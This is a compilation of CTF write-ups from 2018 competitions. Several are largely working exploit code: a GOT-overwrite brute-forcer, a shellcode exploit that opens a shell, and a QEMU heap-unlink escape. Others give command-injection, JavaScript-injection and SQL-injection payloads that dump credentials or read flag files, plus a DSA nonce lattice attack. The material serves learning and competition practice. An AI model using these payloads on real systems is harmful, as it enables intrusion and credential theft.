With this modification the results were immediately better and in just a couple of attempts the flag was obtained!
`RCTF{0lD_GaM3_nAmed_Bu11s_4nd_C0ws}` |
On arrive sur une page qu avec 2 iframes. Un nous permet d’exécuter des commandes en shell passée par (page exec.php) et l’autre nous montre la config avec une regex qui limite ce qu’on peut entrer comme commande. Elle empêche entre autres d’avoir des caractères alphanumériques consécutif.
Il suffit d’utiliser le shell expansion avec des wildcards ou des `[]` pour bypasser ça.
`x=/b[i]n/l[s];`
`x=/b[i]n/c[a]t fla*;`
Et on obtient le flag! |
Garbled Circuit Challenge that repeated the garbled circuit and didn't use completely random labels inside the circuit. Had to reverse a Rust binary to exploit this. Full Writeup: https://blog.rpis.ec/2018/05/defcon-quals-2018-smcauth.html |
The web page states that the auther is going to learn JS & SQL. So let's focus on the JS:```$(document).ready(function() { $("img").each(function() { var t = $(this), i = t.attr("id"); $.get("/get/image/" + i, function(i) { t.attr("src", i) }) }), $("p").each(function() { var t = $(this), i = t.attr("id"); $.get("/get/text/" + i, function(i) { t.html(i) }) }); var j = '/admin_area'; $("h2").each(function() { var t = $(this), i = t.attr("id"); $.get("/get/title/" + i, function(i) { t.html(i) }) })});```There are 3 types of xhr:* /get/image/[id]* /get/text/[id]* /get/image/[id]
and one url:* /admin_area
First try to exploit 3 xhr:> $ curl "http://206.189.54.119:5000/get/image/'"> > Not Found> > $ curl "http://206.189.54.119:5000/get/text/'"> > Not Found.> > $ curl "http://206.189.54.119:5000/get/title/'"> > Not Found.
Not exploitable? Take a closer look?> $ curl -v "http://206.189.54.119:5000/get/image/'"> > < Application-Error: exception: SyntaxError: Unexpected token ILLEGAL> > Not Found
Try something else:> $ curl -v "http://206.189.54.119:5000/get/image/xxx"> > < Application-Error: exception: ReferenceError: xxx is not defined near 'x});return res;' > > Not Found
See the code? Try it: (%2F%2F to comment out the rest, escaping %20/%2F to make it match the route)> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return%20res;%2F%2F"> > < Application-Error: exception: SyntaxError: Unexpected end of input> > Not Found
Something missing? maybe end of block/function?> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return%20res;}%2F%2F"> > /images/sd4x_378x225.jpg
OK. worked! Now inject something to return:> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return{1:1};}%2F%2F"> > < Application-Error: Couln't find "picture_path" property in returning object from database.> > Not Found
Change the key:> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return{'picture_path':'hello'};}%2F%2F"> > hello
Injection suceed! Now we have the injection point:```inject(){ curl -g "http://206.189.54.119:5000/get/image/1});return{'picture_path':tojson($1)}}%2F%2F"}inject(this)```
and got some code piece:``` ... this._db = db; ... "_mongo" : connection to EMBEDDED, "db" : personal_site, ...```
The site uses mongodb, and we have access to db.```inject 'db.getCollectionNames()'```> [> "authentication",> "contents",> "credentials",> "images",> "system.indexes",> "titles"> ]```inject 'db.authentication.find({}).toArray()'inject 'db.credentials.find({}).toArray()'``````[ { "_id" : ObjectId("5ae63ae0a86f623c83fecfb3"), "id" : 1, "method" : "post_data", "format" : "username=[username]&password=[password]", "activate" : "false" }, { "_id" : ObjectId("5ae63ae0a86f623c83fecfb4"), "id" : 2, "method" : "header", "format" : "md5(se3cr3t|[username]|[password])", "activate" : "true" }, { "_id" : ObjectId("5ae66f87dbf0b5383518fc3d"), "id" : 50, "activate" : false }][ { "_id" : ObjectId("5ae63ae0a86f623c83fecfb1"), "id" : 1, "username" : "administrator", "password" : "H4rdP@ssw0rd?" }, { "_id" : ObjectId("5ae63ae0a86f623c83fecfb2"), "id" : 2, "username" : "user", "password" : "epass" }]```
Now we have the authentication method and credentials, we can try accessing /admin_area> $ curl "http://206.189.54.119:5000/admin_area"> > authorization_token not found
From above, the only activated authentication method is via header, with format "md5(se3cr3t|[username]|[password])"> curl "http://206.189.54.119:5000/admin_area" -H "authorization_token: 2cc348195dc1ab9842f9446b41ef650b"> > ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70} |
Nous arrivons sur une page où il est possbile d'uploader des fichiers. Ceux-ci sont toujours renommer avec une extension `.txt`Il était possible leak le code source avec un LFI dans la page pour afficher nos fichiers.
Le 1er flag dans un comment dans le source de index.php.
Dans les fichiers source, on remarque que la page `admin.php` appelle un `SetupController` si le fichier `config.php`n'existe pas. Ce controlleur permet de choisir le mot de passe admin. Se connecter comme admin nous donnera un 2è flag.
Comme notre cookie était un objet php sérialisé. Il fallait y injecter un `UploadController` avec “config/config.php” dans son array files. Comme le destructeur de ce controlleur supprime tous les fichiers contenu dans `files`, cela supprimait le fichier de config et nous permettait de choisir le mot de passe admin.
Ensuite, dans `GetCountController`, qui est appelé sur la page admin, il y avait un `shell_exec` qui fait essentiellement
`ls -l $_GET["path"] | wc -l`
Les seuls caractères permis étaient entre 0x28 `(` et 0x7D `}`. Ceci exclut les espaces.Avec un `;` on termine la requête et on liste le contenu du dossier obtenant ainisi le nom du fichier flag. Puis on pouvait avoir le contenu avec http://xn--rr8h.ctf/admin.php?act=GetCountController&path=;cat+*
On a alors le 3è flag! |
This is a good challenge to learn how to write shellcode to leak `read@GOT` address, find `glibc` base address, and eventually execute `execve` found by `one gadget`.
|
# Braid
In short, this challange is about Conjugacy Search Problem in [Braid Group](https://en.wikipedia.org/wiki/Braid_group).
The key point is that the *Ultra Summit Sets* for given `x` and `c0` are likely to be small when random braids are formed by multiplying randomly chosen permutation braids. I refered to ["A FAST ALGORITHM TO THE CONJUGACY PROBLEM"](https://pdfs.semanticscholar.org/b4ea/35f8c157d3799c2dae05d7a0d46def815818.pdf) for this property.Thus you can just keep *cycling* `x,c0` and record the path. If you find one joint element for these two sets, the recorded path will give you the conjugacy element.
More details can be found in `solve.py`. Unfortunately as usual, the script is in a mess. Some parts have been rewritten several times during competition and test code not removed.
I think the main difficulty is that there are too many papers about solving Conjugacy Search Problem, several of which look like reasonable for our task and cannot be filtered out by reading abstract and introduction only. I spent 10+ hours and mostly on searching and reading papers. (In fact you can even find some implementations of another paper in my script lol) |
Babypwn1805--------Reading the provided C source file we found the two stack based 1024 bytes buffer overflow and the "write 8 bytes in a position relative to the bss asdf variable" possibility with the second read.
At first we tried using the stack buffer overflow to ovewrite last byte of the pointer to the name string of the program. We discovered leaking the env that there was a preloaded custom libc, probably different each time.
Second step was to going backwards in the bss writing only 1 byte, trying to find where the entry for the read is on the GOT. Overwriting the LSB we manage to call different functions when the offset is -56 from the variable in bss.
Then we setup a bruteforce of the last two bytes of the read GOT entry, trying to hit a one_gadget (single address to call `execv("/bin/sh/")`).
We found that a few addresses returned some error related to `/bin/sh` having the wrong parameters, so we did another bruteforce, this time trying to jump few bytes before or after those addresses that returned a good output.
We managed to execute the `echo` command provided, so we refined the payload to cat the flag.
### Exploit (final iteration)
```python#!/usr/bin/env pythonfrom __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *from random import randintimport signalimport syshost = 'e4771e24.quals2018.oooverflow.io'port = 31337
def signal_handler(signal, frame): print('You pressed Ctrl+C!') sys.exit(0)signal.signal(signal.SIGINT, signal_handler)print('Press Ctrl+C')
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def solve_pow2(challenge, n): r = remote("<ip of our leet server>",13337) r.sendline("{} {}".format(challenge,n)) return int(r.recvuntil("\n")[:-1])
context(log_level='DEBUG')magics=[0x782a,0x1cbe,0xa821,0x580e,0x6372,0x6fc3,0x5463,0x8076,0x7818,0x834,0x2812,0x4aa8,0x7fc7,0x4019,0x6bb2,0x4bba,0x2ff4,0x206e,0x6078,0x2ff7,0x6037,0x5fc7,0x181d,0x4075,0x5be1,0x9ff6,0x981e,0x9bdc,0x3fff,0x7826,0x581f,0x4aac,0x781b,0x1ee5,0x11d2,0x7d78,0xed9,0x46e7,0xa01d,0x701d]conn = remote(host,port)
funziona=[0x280d,0x2807,0xa02e,0x581d,0x1808,0xa02e,0x11e5,0x808b,0x607d]
def connect(): global conn conn.close() conn = remote(host,port) conn.recvuntil('Challenge: ') challenge = conn.recvuntil('\n')[:-1] conn.recvuntil('n: ') n = int(conn.recvuntil('\n')[:-1])
# print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow2(challenge, n) # print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) conn.sendline(str(solution)) conn.recvuntil("Go\n")
if __name__ == '__main__': while True: while True: try: connect() break except: continue while True: try: conn.clean_and_log() conn.send(p64(2**64 - 56))#read@GOT # conn.send(p64(2**64 - 88))#read@ # randPart = randint(-0x18,0x18) # currentMagic = random.choice(magics) + randPart currentMagic = random.choice(funziona) log.info("Current "+hex(currentMagic)) sleep(0.1) conn.send(p16(currentMagic)) # conn.send(p64(0x7ffff7af1cde)) sleep(0.1) conn.sendline("echo -n ZIOPANEFUNZIONA;cat ../home/flag") sleep(0.1) resp = conn.recvuntil("Go\n")
# if (len(resp)==0): # conn.sendline('uname -a;echo -n "LODODIO";') # else: # continue # res = conn.recvuntil("Go\n") if("Go\n" in resp ): resp = resp.replace("Go\n","") if(len(resp)>0): log.warning("Executed stuff "+ hex(currentMagic)+ " : "+ repr(resp)) except EOFError: log.warning("EOF") break```
|
## === shellcodeme_hard (Pwn: 37 solves / 420 pts) ===
As with shellcodeme, I have to enter seven or fewer uniquet codes.The state of the registers and stack after starting code with setcontent() is the following.Because the readable address is not set in the rsi register , I can set the rsi register by using 5th statck data.
```[----------------------------------registers-----------------------------------]RAX: 0x0 RBX: 0x746623baba2672be RCX: 0xcc9252dbb3b04aa1 RDX: 0xa1edd10e409d1774 RSI: 0x32c5836d0d5bec7c RDI: 0x83109510a2d6c159 RIP: 0x7ffff7ff3000 (pop rdi)[-------------------------------------code-------------------------------------]=> 0x7ffff7ff3000: pop rdi[------------------------------------stack-------------------------------------]0000| 0x7ffff7ff2c48 --> 0x7ffff7a575d0 (mov rsp,rbx) 0008| 0x7ffff7ff2c50 --> 0x0 0016| 0x7ffff7ff2c58 --> 0x0 ==> pop rdi0024| 0x7ffff7ff2c60 --> 0x0 0032| 0x7ffff7ff2c68 --> 0x7ffff7ff2c58 --> 0x0 ==> pop rsi 0040| 0x7ffff7ff2c70 --> 0x0 0048| 0x7ffff7ff2c78 --> 0x0 0056| 0x7ffff7ff2c80 --> 0x3da844d4c6a5c2f : <abridgement>0000| 0x7ffff7ff2df8 --> 0x0 0008| 0x7ffff7ff2e00 --> 0xffff0000ffff037f 0016| 0x7ffff7ff2e08 --> 0xffffffff 0024| 0x7ffff7ff2e10 --> 0x0 0032| 0x7ffff7ff2e18 --> 0x1f80 ==> pop rdx ```
The status of memory map is as follow
```gdb-peda$ vmmapStart End Perm Name0x00007ffff7fd8000 0x00007ffff7fdb000 rw-p mapped0x00007ffff7fef000 0x00007ffff7ff3000 rwxp mapped ==> 0x7ffff7ff2c68 is here. rwxp is set !!!0x00007ffff7ff3000 0x00007ffff7ff7000 r-xp mapped```
The assemble code is the following.
```gdb-peda$ x/100i 0x7ffff7ff3000=> 0x7ffff7ff3000: pop rdi 0x7ffff7ff3001: pop rdi 0x7ffff7ff3002: pop rdi 0x7ffff7ff3003: pop rsi 0x7ffff7ff3004: pop rsi 0x7ffff7ff3005: pop rdx 0x7ffff7ff3006: pop rdx 0x7ffff7ff3007: pop rdx : <abridgement> 0x7ffff7ff3038: pop rdx 0x7ffff7ff3039: pop rdx 0x7ffff7ff303a: pop rdx 0x7ffff7ff303b: syscall 0x7ffff7ff303d: call rsi```
Below is the state after pop of rdx, rsi, rdi.I can call read syscall and read the shellcode into rsi's address area.And I can call to rsi and start shellcode.
```[----------------------------------registers-----------------------------------]RAX: 0x0 RBX: 0x4587a531ff6eeea0 RCX: 0xceef4f729d224b55 RDX: 0x1f80 RSI: 0x7ffff7ff2c58 --> 0x0 RDI: 0x0 RBP: 0xc995040e7bdeff7 RSP: 0x7ffff7ff2e20 --> 0x0 RIP: 0x7ffff7ff303b (syscall)[-------------------------------------code-------------------------------------] 0x7ffff7ff3038: pop rdx 0x7ffff7ff3039: pop rdx 0x7ffff7ff303a: pop rdx=> 0x7ffff7ff303b: syscall 0x7ffff7ff303d: call rsi 0x7ffff7ff303f: or al,BYTE PTR [rax] 0x7ffff7ff3041: add BYTE PTR [rax],al 0x7ffff7ff3043: add BYTE PTR [rax],al```
Final exploit code is the following.
```from pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
shellcode = asm(shellcraft.amd64.linux.sh())
BINARY = './shellcodeme_hard'
if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "shellcodeme.420blaze.in" PORT = 4200 s = remote(HOST, PORT)else: s = process(BINARY)
s.recvuntil("Shellcode?\n")buf = asm("pop rdi") * 3buf += asm("pop rsi") * 2buf += asm("pop rdx") * 54buf += asm("syscall")buf += asm("call rsi")s.sendline(buf)
sleep(0.1)s.sendline(shellcode)
s.interactive()```
The execution result is the following.
```ubuntu:~/Pwn_shellcodeme_hard$ python solve.py r[+] Opening connection to shellcodeme.420blaze.in on port 4200: Done[*] Switching to interactive mode$ iduid=1000(shellcodeme_hard) gid=1000(shellcodeme_hard) groups=1000(shellcodeme_hard)$ lsflagshellcodeme_hard$ cat flag42018{M0r3Robu5tSh3llc0d1ngWithR4nd0mR3g1st3rs}``` |
Elastic Cloud Compute---------------------For this challenge we were provided with a custom qemu binary and a barebones linux image.
Since the challenge description mentions "extra PCI devices" we started looking around in the qemu binary. Searching for interesting strings in the qemu binary let us find the functions that handle the additional driver (containing "ooo_class_init").
Looking online for guides on how to add devices to qemu we actually found the [source code](https://github.com/qemu/qemu/blob/v2.7.0/hw/misc/edu.c) the driver was based on: this really helped in reversing the binary more quickly.
The driver handles writes and reads to its mapped memory by `malloc`ing memory and writing and reading data in the heap. It's easy to spot a problem: there is no bound checking on either of them. We can write and read on the heap with a range of 16 bits of offset, more than enough to corrupt the chunk headers and perform some heap exploitation.
A good target for our memory corruption is the array where the `malloc`ed pointers are saved, which is located in the bss. Controlling them would mean choosing where to read and write when accessing the driver's memory.
To manage this we exploited the unlink macro in the `free` call.
We allocate two consecutive chunks, then forge a fake chunk and store it in the first chunk's content space. We overwrite the prev_size header of the second chunk to make it look like the chunk preceding it is our forged chunk, and we unset the prev_inuse flag for the second chunk. We then free the second chunk, which in turn triggers a consolidation with our fake chunk.
By accurately writing all the size fields and the target pointers, all security checks pass and the unlink macro overwrites the pointer in the bss, which now points to the bss itself. We can now write directly on the bss and edit the pointers, which therefore means we managed to obtain an arbitrary write primitive.
To finish the challenge we simply overwrite the GOT entry of `free` with the function that prints the flag. We trigger a call to `free` and obtain the flag.
P.S.We had some issues trying to compile and/or execute our exploit inside qemu. We managed to make it run with some glorified copy and paste.
Exploit to be run inside qemu:```c/*Basic PCI communication template from https://github.com/billfarrow/pcimem/blob/master/pcimem.cUnlink exploit written following https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html*/
#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <string.h>#include <errno.h>#include <signal.h>#include <fcntl.h>#include <ctype.h>#include <termios.h>#include <sys/types.h>#include <sys/mman.h>
#define PRINT_ERROR \ do { \ fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", \ __LINE__, __FILE__, errno, strerror(errno)); exit(1); \ } while(0)
// map 24 bit address space#define MAP_SIZE 16777216UL#define MAP_MASK (MAP_SIZE - 1)
void pci_read(void *map_base, off_t target, int access_type) { int type_width; int64_t read_result; void *virt_addr;
virt_addr = map_base + (target & MAP_MASK); switch(access_type) { case 'b': read_result = *((uint8_t *) virt_addr); type_width = 2; break; case 'h': read_result = *((uint16_t *) virt_addr); type_width = 4; break; case 'w': read_result = *((uint32_t *) virt_addr); type_width = 8; break; case 'd': read_result = *((uint64_t *) virt_addr); type_width = 16; break; default: fprintf(stderr, "Illegal data type '%c'.\n", access_type); exit(2); } printf("Value at offset 0x%X (%p): 0x%0*lX\n", (int) target, virt_addr, type_width, read_result); fflush(stdout);}
void pci_write(void *map_base, off_t target, int access_type, int64_t writeval) { int type_width = 16; int64_t read_result; void *virt_addr; virt_addr = map_base + (target & MAP_MASK); // printf("Virt addr %p\n", virt_addr); // printf("Writeval %x\n", writeval); switch(access_type) { case 'b': *((uint8_t *) virt_addr) = writeval; break; case 'h': *((uint16_t *) virt_addr) = writeval; break; case 'w': *((uint32_t *) virt_addr) = writeval; break; case 'd': *((uint64_t *) virt_addr) = writeval; break; } // printf("Written 0x%0*lX\n", type_width, // writeval, type_width, read_result); fflush(stdout);}
// write/read address is like [opcode, 4bit][memid, 4bit][subaddress, 16bit]
// malloc: write to memory with opcode 0void mall(void *map_base, int index, int size) { // malloc size = valtowrite * 8 off_t target = ((index & 0xF) << 16); pci_write(map_base, target, 'w', size / 8);}
// write to pointed area: write to memory with opcode 2void write_heap(void *map_base, int index, int64_t writeval, int offset) { // offset is a 16 bit value off_t target = offset | ((index & 0xF) << 16) | ((2 & 0xF) << 20); pci_write(map_base, target, 'w', writeval);} // free: write to memory with opcode 1void myfree(void *map_base, int index) { off_t target = ((index & 0xF) << 16) | ((1 & 0xF) << 20); pci_write(map_base, target, 'w', 0);}
// read from pointer: read memoryvoid myread(void *map_base, int index, int offset) { // read 4 bytes, unused off_t target = ((index & 0xF) << 16) | offset; pci_read(map_base, target, 'd');}
int main(int argc, char **argv) { int fd; void *map_base; char *filename; off_t target; int access_type = 'w';
filename = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; target = 0x0; access_type = 'w'; argc = 0;
if((fd = open(filename, O_RDWR | O_SYNC)) == -1) PRINT_ERROR; printf("%s opened.\n", filename); printf("Target offset is 0x%x, page size is %ld\n", (int) target, sysconf(_SC_PAGE_SIZE)); fflush(stdout);
// map device memory printf("mmap(%d, %ld, 0x%x, 0x%x, %d, 0x%x)\n", 0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (int) target); map_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, target & ~MAP_MASK); if(map_base == (void *) -1) PRINT_ERROR; printf("PCI Memory mapped to address 0x%08lx.\n", (unsigned long) map_base); fflush(stdout);
printf("Clearing bins\n"); // clear malloc bins to make sure we will have consecutive chunks int i; for (i = 0; i < 2000; i++) mall(map_base, i % 4, 0x80);
// we now have some heap pointers at the indexes 0,1,2,3 printf("Starting exploit\n");
// struct chunk_structure { // size_t prev_size; // size_t size; // struct chunk_structure *fd; // struct chunk_structure *bk; // char buf[10]; // padding // };
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check //fake_chunk = (struct chunk_structure *)chunk1; //fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P //fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// fake chunk prev_size = 0 (probably not needed) write_heap(map_base, 0, 0, 0); write_heap(map_base, 0, 0, 4); // fake chunk size = 0x80, NON_MAIN_ARENA and PREV_INUSE flags are set write_heap(map_base, 0, 0x85, 8); write_heap(map_base, 0, 0, 12); // write &chunk1 - 3 (0x1317928) in chunk1 + 16 write_heap(map_base, 0, 0x1317928, 16); // write &chunk1 - 2 (0x1317930) in chunk1 + 24 write_heap(map_base, 0, 0x1317930, 24);
// Next modify the header of chunk2 to pass all security checks //chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); //chunk2_hdr->prev_size = 0x80; // chunk1's data region size //chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// chunk2 prev_size = 0x80 write_heap(map_base, 0, 0x80, 0x80); // unset PREV_INUSE bit for chunk2 write_heap(map_base, 0, 0x94, 0x88);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data //free(chunk2); myfree(map_base, 1); printf("Pointer overwritten\n");
// overwrite pointer at index 1 with the address of free@GOT write_heap(map_base, 0, 0x011301A0, 32); write_heap(map_base, 0, 0, 36);
// overwrite GOT entry of free with our target function write_heap(map_base, 1, 0x6e65f9, 0); write_heap(map_base, 1, 0, 4);
printf("Reading flag\n"); myfree(map_base, 0); if(munmap(map_base, MAP_SIZE) == -1) PRINT_ERROR; close(fd); return 0;}```
Script to load the exploit in qemu and execute it:```python#!/usr/bin/env pythonfrom __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *import base64import subprocessfrom time import sleep
host = '11d9f496.quals2018.oooverflow.io'port = 31337
def chunkstring(string, length): return (string[0+i:length+i] for i in range(0, len(string), length))
def buildexploit(): subprocess.check_call("musl-gcc exploit.c -Os -static -o exploit",shell=True) subprocess.check_call("tar cfz exploit.tar.gz exploit",shell=True) with open("./exploit.tar.gz", "rb") as f: exploit = f.read() b64exploit = base64.b64encode(exploit) exploit.encode("base64") return b64exploit
def exploit(send): exp = buildexploit() sleep(10) print("chunks...") i = 0 for chunk in chunkstring(exp, 700): sleep(2) print(i) i += 1 send("echo -n \"{}\" >> exploitb64".format(chunk)) sleep(1) print("almost") send("base64 -d exploitb64 > ./exploit.tar.gz") sleep(1) send("tar xf exploit.tar.gz") sleep(1) send("chmod +x ./exploit") sleep(1) send("ls") sleep(1) send("./exploit")
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': conn = remote(host,port) conn.recvuntil('Challenge: ') challenge = conn.recvuntil('\n')[:-1] conn.recvuntil('n: ') n = int(conn.recvuntil('\n')[:-1])
print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) conn.sendline(str(solution)) exploit(conn.sendline) conn.interactive()``` |
Exzendtential-crisis--------We are given a [site](http://d4a386ad.quals2018.oooverflow.io/) with two forms in the homepage: one to register an account, and one to login to an account. There is also a "debug me" link that shows the source code of the page.
Once we register an account, we can write an essay on the page `essays.php`. This page lists all the essays that the user wrote, and provides a preview. Appending `?source` to the url shows the page source (as in index.php). There is an obvious file disclosure:
```phpif (isset($_GET['preview'])){ $dirname = "upload/${_SESSION['userid']}/"; $fname = $_GET['name'];
if (check_fname($fname) === False) { header("Location: /essays.php"); exit(); } $content = file_get_contents($dirname . $fname, False, NULL, 0, 524288); echo "<h1>Your essay submission</h1>"; echo ""; echo $content; echo ""; echo ""; echo "back"; exit();}```
There is also a `flag.php` file, that only says:```Only sarte knows the flag. You are not him. Enjoy a quote though:One love, a career, a revolution, as many companies as we begin ignoring their outcome```
Retrieving `php.ini` with the file disclousure shows that there is a custom module in the PHP installation, called `mydb.so`. With the file disclousure we downloaded the module, and then we started reversing it.
After reversing the module, we find that it exports 3 functions to PHP: `create_user`, `get_result` (both used in `register.php`), and `check_credentials` (used in `login.php`).Internally, the module uses SQLite for storing user credentials, without validating the input (this is done on the PHP-side).After looking a bit, we found an out-of-bounds write vulnerability that we can use to inject arbitrary SQL into a query.In `check_credentials`, the module first retrieves the function arguments, and then calls `get_user_id` in order to verify the username/password. It passes to it a callback function, `check_hacking_attempt`, that takes two buffers, one containing the username, and one to copy the username to. It does some security checks before sending a query to SQLite. `check_hacking_attempt` copies the username string to the destination buffer, as long as its length is less than 150 characters. However, the destination buffer resides in the stack frame of `get_user_id`, which only allocated 112 bytes for it. Therefore, there is a 38 byte overflow.
In `get_user_id`, the destination buffer is located just before a table name buffer, which contains the name of the table used in the user selection query. By overwriting the table name, we can inject arbitrary SQL into the query. The injection that we choose is pretty trivial: `users where username="sarte" -- `.
The final payload is generated by the Python snippet `print('a' * 112 + 'users where username="sarte" -- ')`, that once inserted as username in the login, authenticates us as `sarte`. We can now retrieve the flag. |
Problem author's writeup.
Summary: use the "pattern by name" feature to write a pattern struct into SRAM, then use an out-of-bounds "pattern by index" feature to read the name as a pattern; leak the Particle's private key through the LEDs; use the reconstructed key to impersonate the Photon and post an XSS payload as the body of a Particle Cloud event |
**Description**
> the format of flag is flag{.+}> > attachment: https://drive.google.com/open?id=1TDWJWb2diPO_TDTHbZvuLWlsTV1LhoAs
**Solution**
We were given a copy of a `sqlite3` terminal session, where the user typed `explain [some query]`, which produced the detailed SQLite VM bytecode. We don't know what the query is, and it seems the VM bytecode is more compressed than usual, since for my `sqlite3` it looked like:
sqlite> explain select 1; addr opcode p1 p2 p3 p4 p5 comment ---- ------------- ---- ---- ---- ------------- -- ------------- 0 Init 0 1 0 00 Start at 1 1 Integer 1 1 0 00 r[1]=1 2 ResultRow 1 1 0 00 output=r[1] 3 Halt 0 0 0 00
So the challenge doesn't include the comments column, but other than that all the information is present. The above is useful to check which column represents what.
My first idea was to test some queries directly in `sqlite3` and refine them until the trace matches the one provided. But since the trace contains so many calls to `substr(3)` I figured the flag is probably matched character by character in a shuffled order, so this would probably take too long.
So the approach was to write a simple VM to emulate the opcodes that we actually need, and see what conditional checks are being executed to extract what the flag has to be to pass those checks. There is [an online reference of SQLite3 bytecodes](https://sqlite.org/opcode.html) - very useful for this challenge of course. It also explains the VM well enough to write a super simple implementation.
It was enough to implement these opcodes:
- `Column` - `Function` - `Eq` - `Goto` - `Integer` - `Ne` - `OpenRead` - `Rewind` - `String8` - `TableLock` - `Trace` - `Transaction` - `VerifyCookie`
And even some of these were basically no-ops. One additional piece of information was used to solve the problem: all the conditional `Ne` checks in the query jumped to instruction 90, which immediately halted the machine. So as soon as there is a character mismatch, the query failed. Therefore, we know that these checks need to have operands that are equal to one another. As it turns out, they were always a single character string, and a single character substring of the flag.
([full sqlite mini-VM](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/scripts/sql/Main.hx))
And with that:
`flag{lqs_rof_galf_esrever_a}` |
Ghettohackers: Throwback------------------------A .txt file is provided with the following content:
```Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!```
Given that our brains have been compromised since a long time by playing too many CTFs, we quickly figured out that it was enough to count the number of chars before each `!` to get the index of a single letter of the flag. For instance, `Anyo! = d` because there are 4 chars before the `!` and so we must consider the 4th letter of the English alphabet.
Python one-liner to solve the challenge:
```python>>> import string>>> s = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'>>> ''.join(string.ascii_lowercase[len(c)-1] if c else ' ' for c in s.split('!')).rstrip()'dark logic'```
Flag: `dark logic` |
# You Already Know, web
## Problem
Stop overthinking it, you already know the answer here.
You already have the flag.
**Seriously**, _if you can read this_, then you have the flag.
Submit it!
## Solution
Every popup you open from the main page of the competition (https://scoreboard.oooverflow.io) is in fact an AJAX request of the form `https://h54exijeu1.execute-api.us-east-2.amazonaws.com/prod/challenge/youalreadyknow/YOUR_TOKEN` where `YOUR_TOKEN` comes from `localStorage.token`.
Response is a JSON that contains markdown in a field called message, which I suspect is then rendered to the page with some markdown-to-html library, but that does not matter much.
The response looks like
```json{ "success": true, "message": "Stop overthinking it, you already know the answer here.\n\n[comment]: <> (OOO{Sometimes, the answer is just staring you in the face. We have all been there})\n\nYou already have the flag.\n\n**Seriously**, _if you can read this_, then you have the flag.\n\nSubmit it!\n"}```
**Flag: OOO{Sometimes, the answer is just staring you in the face. We have all been there}**
|
Official--------We are given a x86_64 ELF- we can Sign a command (allowed ls..., stat..., du... , forbidden cat flag) and get a signature (r,s)- we can Execute a command if we provide a signature (r,s)
By examining the binary we understand that it signs the command with DSA. The public parameters are hard coded in the binary as strings, while the private parameter is loaded from a file.
This is the signing process:1. The DSA nonce is generated reading 0x14 bytes from /dev/urandom and stored in a global variable (k), the random bytes are later shuffled during the signing process2. The input is then read, up to 256 bytes. There is a buffer overflow (at offset 0x1D26): with a 256 byte long input, the first byte of k is overwritten by a null byte3. k is then shuffled, and the overwritten byte is moved from the first position (k[0]) to the last (k[19])4. k is interpreted as an hex number
This means that we can reliably and consistently set the least significant byte of k to a fixed amount(0x00).
DSA is vulnerable to faults in the secrets, so even a few constant bits can compromise the private key.
By reading [this paper](https://hal.inria.fr/hal-00777804/document), we decided to implement a lattice attack on the alghorithm.
We estimated that we needed ~70 faulted signatures to be able to implement the attack (and to guarantee that the SVP solution contained the private key).
### Solver
We collected several signatures```pythonfrom Crypto.PublicKey import DSA
q = 739904609682520586736011252451716180456601329519sign = [[47817980213997116983990891662989699152988893000, 550778919109238643794725030183918198033267410208, 115707849027963465953307322004337573514841630363], ...```
We decided to implement a [modified version](https://crypto.stackexchange.com/questions/44644/how-does-the-biased-k-attack-on-ecdsa-work) of the algorithm in the paper which is (allegedly) faster.
The goal is to have `m.LLL(...)[0][-1] == 1`. It the condition is satisfied, we have found the privatekey.
```pythonM = []t = []u = []
for i in range(len(sign)): t.append( (sign[i][1] * pow(sign[i][2] * 2^8, -1, q)) % q ) u.append( (-sign[i][0] * pow(sign[i][2] * 2^8, -1, q)) % q )M0 = []for a in t: M0.append(int(a))M1 = []for b in u: M1.append(int(b))for i in range(len(sign)): Mi = [0] * (len(sign) + 2) Mi[i] = q M.append(Mi)M.append(M0 + [1, 0])M.append(M1 + [0, 1])from sage.modules.free_module_integer import IntegerLatticem = IntegerLattice(M)m.LLL(delta=0.999999999, eta=0.501)[0]```
Out[]: (...61262266441191146369913672082151254217822682617, 1)
### Final sanity check
